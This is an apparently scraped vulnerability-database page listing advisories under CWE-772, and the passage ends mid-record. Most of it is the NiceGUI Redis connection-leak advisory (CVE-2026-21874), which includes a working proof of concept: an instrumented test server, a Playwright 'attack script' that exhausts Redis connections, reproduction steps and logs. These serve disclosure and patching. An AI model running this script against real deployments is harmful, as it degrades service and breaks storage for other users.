CWE-772
AllowedMissing Release of Resource after Effective Lifetime
Abstraction: Base · Status: Draft
The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.
567 vulnerabilities reference this CWE, most recent first.
GHSA-MM8Q-CF7F-PMXX
Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2024-04-04 05:32In BIG-IP versions 17.0.x before 17.0.0.2, and 16.1.x beginning in 16.1.2.2 to before 16.1.3.3, when an HTTP profile is configured on a virtual server and conditions beyond the attacker’s control exist on the target pool member, undisclosed requests sent to the BIG-IP system can cause the Traffic Management Microkernel (TMM) to terminate. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
{
"affected": [],
"aliases": [
"CVE-2023-22302"
],
"database_specific": {
"cwe_ids": [
"CWE-772"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-01T18:15:00Z",
"severity": "MODERATE"
},
"details": "In BIG-IP versions 17.0.x before 17.0.0.2, and 16.1.x beginning in 16.1.2.2 to before 16.1.3.3, when an HTTP profile is configured on a virtual server and conditions beyond the attacker\u2019s control exist on the target pool member, undisclosed requests sent to the BIG-IP system can cause the Traffic Management Microkernel (TMM) to terminate. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
"id": "GHSA-mm8q-cf7f-pmxx",
"modified": "2024-04-04T05:32:09Z",
"published": "2023-07-06T19:24:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22302"
},
{
"type": "WEB",
"url": "https://my.f5.com/manage/s/article/K58550078"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MP55-G7PJ-RVM2
Vulnerability from github – Published: 2026-01-08 20:27 – Updated: 2026-01-08 20:27Summary
An unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.
Details
When a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there's no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92.
Each tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached.
PoC
Test server (test_connection_leak.py)
import os
import logging
from datetime import timedelta
import redis
from nicegui import ui, app
from nicegui.client import Client
logging.basicConfig(level=logging.WARNING, format="%(asctime)s %(levelname)s %(message)s")
logging.getLogger("leak").setLevel(logging.INFO)
log = logging.getLogger("leak")
_original_handle_disconnect = Client.handle_disconnect
_original_delete = Client.delete
def _patched_handle_disconnect(self, socket_id: str) -> None:
tab_id_before = self.tab_id
_original_handle_disconnect(self, socket_id)
log.warning("disconnect: tab_id=%s cleared, tabs=%d", tab_id_before, len(app.storage._tabs))
def _patched_delete(self) -> None:
tab_id = self.tab_id
tabs_before = len(app.storage._tabs)
_original_delete(self)
log.error("delete: tab_id=%s, tabs=%d->%d", tab_id, tabs_before, len(app.storage._tabs))
Client.handle_disconnect = _patched_handle_disconnect
Client.delete = _patched_delete
_last_stats: tuple[int, int] = (0, 0)
def log_stats() -> None:
global _last_stats
client = redis.from_url(os.environ["NICEGUI_REDIS_URL"])
conns = client.info("clients")["connected_clients"]
client.close()
tabs = len(app.storage._tabs)
if (conns, tabs) != _last_stats:
log.info("stats: conns=%d tabs=%d", conns, tabs)
_last_stats = (conns, tabs)
@ui.page("/")
async def main():
await ui.context.client.connected()
app.storage.tab["visited"] = True
ui.label("Check logs")
ui.timer(interval=2.0, callback=log_stats)
if __name__ == "__main__":
app.storage.max_tab_storage_age = timedelta(days=30).total_seconds()
ui.run(storage_secret="test", reconnect_timeout=2.0, reload=False)
Attack script (attack_connection_leak.py)
import asyncio
from playwright.async_api import async_playwright
async def attack(url: str, num_tabs: int) -> None:
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
for i in range(num_tabs):
context = await browser.new_context()
page = await context.new_page()
try:
await page.goto(url, wait_until="domcontentloaded", timeout=10000)
await page.wait_for_timeout(500)
except Exception:
pass
await context.close()
await browser.close()
if __name__ == "__main__":
asyncio.run(attack(url="http://127.0.0.1:8080/", num_tabs=100))
Steps to reproduce
- Limit Redis connections:
redis-cli CONFIG SET maxclients 50 - Start server:
NICEGUI_REDIS_URL=redis://localhost:6379/0 python test_connection_leak.py - Run attack:
python attack_connection_leak.py - Observe server logs - Redis refuses connections:
NiceGUI ready to go on http://localhost:8080, http://10.201.1.10:8080, http://127.94.0.1:8080, http://127.94.0.2:8080, and http://192.168.0.15:8080
2026-01-01 17:19:43,226 INFO stats: conns=12 tabs=1
2026-01-01 17:19:45,945 INFO stats: conns=14 tabs=1
2026-01-01 17:21:14,504 INFO stats: conns=16 tabs=2
2026-01-01 17:21:14,506 WARNING disconnect: tab_id=4c1fc610-0fa9-4e8f-bb7a-c7882d22e599 cleared, tabs=2
2026-01-01 17:21:16,339 INFO stats: conns=19 tabs=3
2026-01-01 17:21:16,963 ERROR delete: tab_id=None, tabs=3->3
2026-01-01 17:21:16,964 WARNING disconnect: tab_id=e62f8ff3-9b91-431c-a66e-ce64dc37fc41 cleared, tabs=3
2026-01-01 17:21:17,563 INFO stats: conns=20 tabs=3
2026-01-01 17:21:18,342 INFO stats: conns=21 tabs=3
2026-01-01 17:21:19,397 INFO stats: conns=23 tabs=4
2026-01-01 17:21:20,022 ERROR delete: tab_id=None, tabs=4->4
2026-01-01 17:21:20,022 WARNING disconnect: tab_id=acafc0de-83bd-4919-8a78-e7775eb5b0cb cleared, tabs=4
2026-01-01 17:21:21,952 INFO stats: conns=27 tabs=5
2026-01-01 17:21:23,204 ERROR delete: tab_id=None, tabs=5->5
2026-01-01 17:21:23,204 WARNING disconnect: tab_id=56df6fab-7342-4823-8cc4-0e997d9da40a cleared, tabs=5
2026-01-01 17:21:23,829 INFO stats: conns=28 tabs=5
2026-01-01 17:21:25,280 INFO stats: conns=29 tabs=5
2026-01-01 17:21:25,881 ERROR delete: tab_id=None, tabs=5->5
2026-01-01 17:21:26,578 INFO stats: conns=30 tabs=5
2026-01-01 17:21:27,567 INFO stats: conns=32 tabs=6
2026-01-01 17:21:27,569 WARNING disconnect: tab_id=f1f79c1e-80ef-4753-a228-fdc13eb29e19 cleared, tabs=6
2026-01-01 17:21:28,579 INFO stats: conns=34 tabs=6
2026-01-01 17:21:29,449 INFO stats: conns=35 tabs=7
2026-01-01 17:21:30,074 ERROR delete: tab_id=None, tabs=7->7
2026-01-01 17:21:30,075 WARNING disconnect: tab_id=9f1326eb-75d8-4ea3-99fb-e47f54d45371 cleared, tabs=7
2026-01-01 17:21:30,701 INFO stats: conns=36 tabs=7
2026-01-01 17:21:31,454 INFO stats: conns=37 tabs=7
2026-01-01 17:21:32,531 INFO stats: conns=40 tabs=8
2026-01-01 17:21:33,185 ERROR delete: tab_id=None, tabs=8->8
2026-01-01 17:21:33,185 WARNING disconnect: tab_id=5f0b0e71-0ea0-4488-b392-cda09299a8f2 cleared, tabs=8
2026-01-01 17:21:34,436 INFO stats: conns=40 tabs=9
2026-01-01 17:21:35,063 WARNING disconnect: tab_id=a6e014ed-e76e-449d-a6eb-e8676cca1cc5 cleared, tabs=9
2026-01-01 17:21:35,685 INFO stats: conns=41 tabs=9
2026-01-01 17:21:35,686 ERROR delete: tab_id=None, tabs=9->9
2026-01-01 17:21:36,411 INFO stats: conns=42 tabs=9
2026-01-01 17:21:37,479 INFO stats: conns=45 tabs=10
2026-01-01 17:21:38,112 ERROR delete: tab_id=None, tabs=10->10
2026-01-01 17:21:38,112 WARNING disconnect: tab_id=9dd7a6ca-50da-436a-966f-38c835b65f7b cleared, tabs=10
2026-01-01 17:21:39,342 INFO stats: conns=48 tabs=11
2026-01-01 17:21:39,600 ERROR max number of clients reached
Traceback (most recent call last):
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/timer.py", line 111, in _invoke_callback
result = self.callback()
File "/Users/dyudelevich/dev/test_connection_leak.py", line 45, in log_stats
conns = client.info("clients")["connected_clients"]
~~~~~~~~~~~^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/commands/core.py", line 1005, in info
return self.execute_command("INFO", section, *args, **kwargs)
~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/client.py", line 657, in execute_command
return self._execute_command(*args, **options)
~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/client.py", line 663, in _execute_command
conn = self.connection or pool.get_connection()
~~~~~~~~~~~~~~~~~~~^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/utils.py", line 196, in wrapper
return func(*args, **kwargs)
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 2601, in get_connection
connection.connect()
~~~~~~~~~~~~~~~~~~^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 846, in connect
self.connect_check_health(check_health=True)
~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 869, in connect_check_health
self.on_connect_check_health(check_health=check_health)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 941, in on_connect_check_health
auth_response = self.read_response()
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 1133, in read_response
response = self._parser.read_response(disable_decoding=disable_decoding)
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 15, in read_response
result = self._read_response(disable_decoding=disable_decoding)
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 38, in _read_response
raise error
redis.exceptions.ConnectionError: max number of clients reached
2026-01-01 17:21:39,618 WARNING disconnect: tab_id=711835bb-3677-44cc-a406-abb8ae487370 cleared, tabs=11
2026-01-01 17:21:39,618 WARNING Could not load data from Redis with key nicegui:tab-711835bb-3677-44cc-a406-abb8ae487370
2026-01-01 17:21:40,242 INFO stats: conns=49 tabs=11
2026-01-01 17:21:40,244 ERROR delete: tab_id=None, tabs=11->11
2026-01-01 17:21:40,502 WARNING Could not load data from Redis with key nicegui:user-3876bd1e-5769-43ef-8c78-6e5e77ae3436
2026-01-01 17:21:40,502 ERROR max number of clients reached
Traceback (most recent call last):
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/background_tasks.py", line 93, in _handle_exceptions
task.result()
~~~~~~~~~~~^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/persistence/redis_persistent_dict.py", line 81, in backup
if not await self.redis_client.exists(self.key) and not self:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/client.py", line 720, in execute_command
conn = self.connection or await pool.get_connection()
^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 1198, in get_connection
await self.ensure_connection(connection)
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 1231, in ensure_connection
await connection.connect()
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 298, in connect
await self.connect_check_health(check_health=True)
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 324, in connect_check_health
await self.on_connect_check_health(check_health=check_health)
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 410, in on_connect_check_health
auth_response = await self.read_response()
^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 607, in read_response
response = await self._parser.read_response(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
disable_decoding=disable_decoding
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
)
^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 82, in read_response
response = await self._read_response(disable_decoding=disable_decoding)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 102, in _read_response
raise error
redis.exceptions.ConnectionError: max number of clients reached
2026-01-01 17:21:39,600 ERROR max number of clients reached redis.exceptions.ConnectionError: max number of clients reached
Impact
Affects all NiceGUI deployments using Redis storage. No authentication required. Attacker opens/closes browser tabs until Redis refuses new connections. NiceGUI handles errors gracefully so the app stays up, but new users lose persistent storage (tab/user data not saved) and any Redis-dependent functionality breaks.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.1"
},
"package": {
"ecosystem": "PyPI",
"name": "nicegui"
},
"ranges": [
{
"events": [
{
"introduced": "2.10.0"
},
{
"fixed": "3.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-21874"
],
"database_specific": {
"cwe_ids": [
"CWE-772"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-08T20:27:41Z",
"nvd_published_at": "2026-01-08T10:15:55Z",
"severity": "MODERATE"
},
"details": "### Summary\nAn unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit.\n**NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.**\n\n### Details\nWhen a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there\u0027s no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92.\n\nEach tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached.\n\n### PoC\n#### Test server (test_connection_leak.py)\n\n```python\nimport os\nimport logging\nfrom datetime import timedelta\n\nimport redis\nfrom nicegui import ui, app\nfrom nicegui.client import Client\n\nlogging.basicConfig(level=logging.WARNING, format=\"%(asctime)s %(levelname)s %(message)s\")\nlogging.getLogger(\"leak\").setLevel(logging.INFO)\nlog = logging.getLogger(\"leak\")\n\n_original_handle_disconnect = Client.handle_disconnect\n_original_delete = Client.delete\n\n\ndef _patched_handle_disconnect(self, socket_id: str) -\u003e None:\n tab_id_before = self.tab_id\n _original_handle_disconnect(self, socket_id)\n log.warning(\"disconnect: tab_id=%s cleared, tabs=%d\", tab_id_before, len(app.storage._tabs))\n\n\ndef _patched_delete(self) -\u003e None:\n tab_id = self.tab_id\n tabs_before = len(app.storage._tabs)\n _original_delete(self)\n log.error(\"delete: tab_id=%s, tabs=%d-\u003e%d\", tab_id, tabs_before, len(app.storage._tabs))\n\n\nClient.handle_disconnect = _patched_handle_disconnect\nClient.delete = _patched_delete\n\n_last_stats: tuple[int, int] = (0, 0)\n\n\ndef log_stats() -\u003e None:\n global _last_stats\n client = redis.from_url(os.environ[\"NICEGUI_REDIS_URL\"])\n conns = client.info(\"clients\")[\"connected_clients\"]\n client.close()\n tabs = len(app.storage._tabs)\n if (conns, tabs) != _last_stats:\n log.info(\"stats: conns=%d tabs=%d\", conns, tabs)\n _last_stats = (conns, tabs)\n\n\n@ui.page(\"/\")\nasync def main():\n await ui.context.client.connected()\n app.storage.tab[\"visited\"] = True\n ui.label(\"Check logs\")\n ui.timer(interval=2.0, callback=log_stats)\n\n\nif __name__ == \"__main__\":\n app.storage.max_tab_storage_age = timedelta(days=30).total_seconds()\n ui.run(storage_secret=\"test\", reconnect_timeout=2.0, reload=False)\n```\n\n#### Attack script (attack_connection_leak.py)\n\n```python\nimport asyncio\nfrom playwright.async_api import async_playwright\n\n\nasync def attack(url: str, num_tabs: int) -\u003e None:\n async with async_playwright() as p:\n browser = await p.chromium.launch(headless=True)\n for i in range(num_tabs):\n context = await browser.new_context()\n page = await context.new_page()\n try:\n await page.goto(url, wait_until=\"domcontentloaded\", timeout=10000)\n await page.wait_for_timeout(500)\n except Exception:\n pass\n await context.close()\n await browser.close()\n\n\nif __name__ == \"__main__\":\n asyncio.run(attack(url=\"http://127.0.0.1:8080/\", num_tabs=100))\n```\n\n#### Steps to reproduce\n\n1. Limit Redis connections: `redis-cli CONFIG SET maxclients 50`\n2. Start server: `NICEGUI_REDIS_URL=redis://localhost:6379/0 python test_connection_leak.py`\n3. Run attack: `python attack_connection_leak.py`\n4. Observe server logs - Redis refuses connections:\n```\nNiceGUI ready to go on http://localhost:8080, http://10.201.1.10:8080, http://127.94.0.1:8080, http://127.94.0.2:8080, and http://192.168.0.15:8080\n2026-01-01 17:19:43,226 INFO stats: conns=12 tabs=1\n2026-01-01 17:19:45,945 INFO stats: conns=14 tabs=1\n2026-01-01 17:21:14,504 INFO stats: conns=16 tabs=2\n2026-01-01 17:21:14,506 WARNING disconnect: tab_id=4c1fc610-0fa9-4e8f-bb7a-c7882d22e599 cleared, tabs=2\n2026-01-01 17:21:16,339 INFO stats: conns=19 tabs=3\n2026-01-01 17:21:16,963 ERROR delete: tab_id=None, tabs=3-\u003e3\n2026-01-01 17:21:16,964 WARNING disconnect: tab_id=e62f8ff3-9b91-431c-a66e-ce64dc37fc41 cleared, tabs=3\n2026-01-01 17:21:17,563 INFO stats: conns=20 tabs=3\n2026-01-01 17:21:18,342 INFO stats: conns=21 tabs=3\n2026-01-01 17:21:19,397 INFO stats: conns=23 tabs=4\n2026-01-01 17:21:20,022 ERROR delete: tab_id=None, tabs=4-\u003e4\n2026-01-01 17:21:20,022 WARNING disconnect: tab_id=acafc0de-83bd-4919-8a78-e7775eb5b0cb cleared, tabs=4\n2026-01-01 17:21:21,952 INFO stats: conns=27 tabs=5\n2026-01-01 17:21:23,204 ERROR delete: tab_id=None, tabs=5-\u003e5\n2026-01-01 17:21:23,204 WARNING disconnect: tab_id=56df6fab-7342-4823-8cc4-0e997d9da40a cleared, tabs=5\n2026-01-01 17:21:23,829 INFO stats: conns=28 tabs=5\n2026-01-01 17:21:25,280 INFO stats: conns=29 tabs=5\n2026-01-01 17:21:25,881 ERROR delete: tab_id=None, tabs=5-\u003e5\n2026-01-01 17:21:26,578 INFO stats: conns=30 tabs=5\n2026-01-01 17:21:27,567 INFO stats: conns=32 tabs=6\n2026-01-01 17:21:27,569 WARNING disconnect: tab_id=f1f79c1e-80ef-4753-a228-fdc13eb29e19 cleared, tabs=6\n2026-01-01 17:21:28,579 INFO stats: conns=34 tabs=6\n2026-01-01 17:21:29,449 INFO stats: conns=35 tabs=7\n2026-01-01 17:21:30,074 ERROR delete: tab_id=None, tabs=7-\u003e7\n2026-01-01 17:21:30,075 WARNING disconnect: tab_id=9f1326eb-75d8-4ea3-99fb-e47f54d45371 cleared, tabs=7\n2026-01-01 17:21:30,701 INFO stats: conns=36 tabs=7\n2026-01-01 17:21:31,454 INFO stats: conns=37 tabs=7\n2026-01-01 17:21:32,531 INFO stats: conns=40 tabs=8\n2026-01-01 17:21:33,185 ERROR delete: tab_id=None, tabs=8-\u003e8\n2026-01-01 17:21:33,185 WARNING disconnect: tab_id=5f0b0e71-0ea0-4488-b392-cda09299a8f2 cleared, tabs=8\n2026-01-01 17:21:34,436 INFO stats: conns=40 tabs=9\n2026-01-01 17:21:35,063 WARNING disconnect: tab_id=a6e014ed-e76e-449d-a6eb-e8676cca1cc5 cleared, tabs=9\n2026-01-01 17:21:35,685 INFO stats: conns=41 tabs=9\n2026-01-01 17:21:35,686 ERROR delete: tab_id=None, tabs=9-\u003e9\n2026-01-01 17:21:36,411 INFO stats: conns=42 tabs=9\n2026-01-01 17:21:37,479 INFO stats: conns=45 tabs=10\n2026-01-01 17:21:38,112 ERROR delete: tab_id=None, tabs=10-\u003e10\n2026-01-01 17:21:38,112 WARNING disconnect: tab_id=9dd7a6ca-50da-436a-966f-38c835b65f7b cleared, tabs=10\n2026-01-01 17:21:39,342 INFO stats: conns=48 tabs=11\n2026-01-01 17:21:39,600 ERROR max number of clients reached\nTraceback (most recent call last):\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/timer.py\", line 111, in _invoke_callback\n result = self.callback()\n File \"/Users/dyudelevich/dev/test_connection_leak.py\", line 45, in log_stats\n conns = client.info(\"clients\")[\"connected_clients\"]\n ~~~~~~~~~~~^^^^^^^^^^^\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/commands/core.py\", line 1005, in info\n return self.execute_command(\"INFO\", section, *args, **kwargs)\n ~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/client.py\", line 657, in execute_command\n return self._execute_command(*args, **options)\n ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/client.py\", line 663, in _execute_command\n conn = self.connection or pool.get_connection()\n ~~~~~~~~~~~~~~~~~~~^^\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/utils.py\", line 196, in wrapper\n return func(*args, **kwargs)\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py\", line 2601, in get_connection\n connection.connect()\n ~~~~~~~~~~~~~~~~~~^^\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py\", line 846, in connect\n self.connect_check_health(check_health=True)\n ~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py\", line 869, in connect_check_health\n self.on_connect_check_health(check_health=check_health)\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py\", line 941, in on_connect_check_health\n auth_response = self.read_response()\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py\", line 1133, in read_response\n response = self._parser.read_response(disable_decoding=disable_decoding)\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py\", line 15, in read_response\n result = self._read_response(disable_decoding=disable_decoding)\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py\", line 38, in _read_response\n raise error\nredis.exceptions.ConnectionError: max number of clients reached\n2026-01-01 17:21:39,618 WARNING disconnect: tab_id=711835bb-3677-44cc-a406-abb8ae487370 cleared, tabs=11\n2026-01-01 17:21:39,618 WARNING Could not load data from Redis with key nicegui:tab-711835bb-3677-44cc-a406-abb8ae487370\n2026-01-01 17:21:40,242 INFO stats: conns=49 tabs=11\n2026-01-01 17:21:40,244 ERROR delete: tab_id=None, tabs=11-\u003e11\n2026-01-01 17:21:40,502 WARNING Could not load data from Redis with key nicegui:user-3876bd1e-5769-43ef-8c78-6e5e77ae3436\n2026-01-01 17:21:40,502 ERROR max number of clients reached\nTraceback (most recent call last):\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/background_tasks.py\", line 93, in _handle_exceptions\n task.result()\n ~~~~~~~~~~~^^\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/persistence/redis_persistent_dict.py\", line 81, in backup\n if not await self.redis_client.exists(self.key) and not self:\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/client.py\", line 720, in execute_command\n conn = self.connection or await pool.get_connection()\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py\", line 1198, in get_connection\n await self.ensure_connection(connection)\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py\", line 1231, in ensure_connection\n await connection.connect()\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py\", line 298, in connect\n await self.connect_check_health(check_health=True)\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py\", line 324, in connect_check_health\n await self.on_connect_check_health(check_health=check_health)\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py\", line 410, in on_connect_check_health\n auth_response = await self.read_response()\n ^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py\", line 607, in read_response\n response = await self._parser.read_response(\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n disable_decoding=disable_decoding\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n )\n ^\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py\", line 82, in read_response\n response = await self._read_response(disable_decoding=disable_decoding)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py\", line 102, in _read_response\n raise error\nredis.exceptions.ConnectionError: max number of clients reached\n```\n2026-01-01 17:21:39,600 ERROR max number of clients reached\nredis.exceptions.ConnectionError: max number of clients reached\n\n## Impact\n\nAffects all NiceGUI deployments using Redis storage. No authentication required. Attacker opens/closes browser tabs until Redis refuses new connections. NiceGUI handles errors gracefully so the app stays up, but new users lose persistent storage (tab/user data not saved) and any Redis-dependent functionality breaks.",
"id": "GHSA-mp55-g7pj-rvm2",
"modified": "2026-01-08T20:27:41Z",
"published": "2026-01-08T20:27:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-mp55-g7pj-rvm2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21874"
},
{
"type": "WEB",
"url": "https://github.com/zauberzeug/nicegui/commit/6c52eb2c90c4b67387c025b29646b4bc1578eb83"
},
{
"type": "PACKAGE",
"url": "https://github.com/zauberzeug/nicegui"
},
{
"type": "WEB",
"url": "https://github.com/zauberzeug/nicegui/releases/tag/v3.5.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "NiceGUI has Redis connection leak via tab storage causes service degradation"
}
GHSA-MP86-7HPX-2VCW
Vulnerability from github – Published: 2022-05-13 01:06 – Updated: 2022-05-13 01:06The animations property implementation in Adobe Reader and Acrobat 10.x before 10.1.16 and 11.x before 11.0.13, Acrobat and Acrobat Reader DC Classic before 2015.006.30094, and Acrobat and Acrobat Reader DC Continuous before 2015.009.20069 on Windows and OS X allows attackers to obtain sensitive information from process memory via a function call, a different vulnerability than CVE-2015-6697, CVE-2015-6699, CVE-2015-6700, CVE-2015-6701, CVE-2015-6702, and CVE-2015-6703.
{
"affected": [],
"aliases": [
"CVE-2015-6704"
],
"database_specific": {
"cwe_ids": [
"CWE-772"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-10-14T23:59:00Z",
"severity": "MODERATE"
},
"details": "The animations property implementation in Adobe Reader and Acrobat 10.x before 10.1.16 and 11.x before 11.0.13, Acrobat and Acrobat Reader DC Classic before 2015.006.30094, and Acrobat and Acrobat Reader DC Continuous before 2015.009.20069 on Windows and OS X allows attackers to obtain sensitive information from process memory via a function call, a different vulnerability than CVE-2015-6697, CVE-2015-6699, CVE-2015-6700, CVE-2015-6701, CVE-2015-6702, and CVE-2015-6703.",
"id": "GHSA-mp86-7hpx-2vcw",
"modified": "2022-05-13T01:06:40Z",
"published": "2022-05-13T01:06:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-6704"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/acrobat/apsb15-24.html"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1033796"
},
{
"type": "WEB",
"url": "http://www.zerodayinitiative.com/advisories/ZDI-15-482"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MPJM-7GH6-3VC4
Vulnerability from github – Published: 2022-05-13 01:47 – Updated: 2022-05-13 01:47The ReadAVSImage function in avs.c in ImageMagick 7.0.5-4 allows remote attackers to consume an amount of available memory via a crafted file.
{
"affected": [],
"aliases": [
"CVE-2017-7942"
],
"database_specific": {
"cwe_ids": [
"CWE-772"
],
"github_reviewed": false,
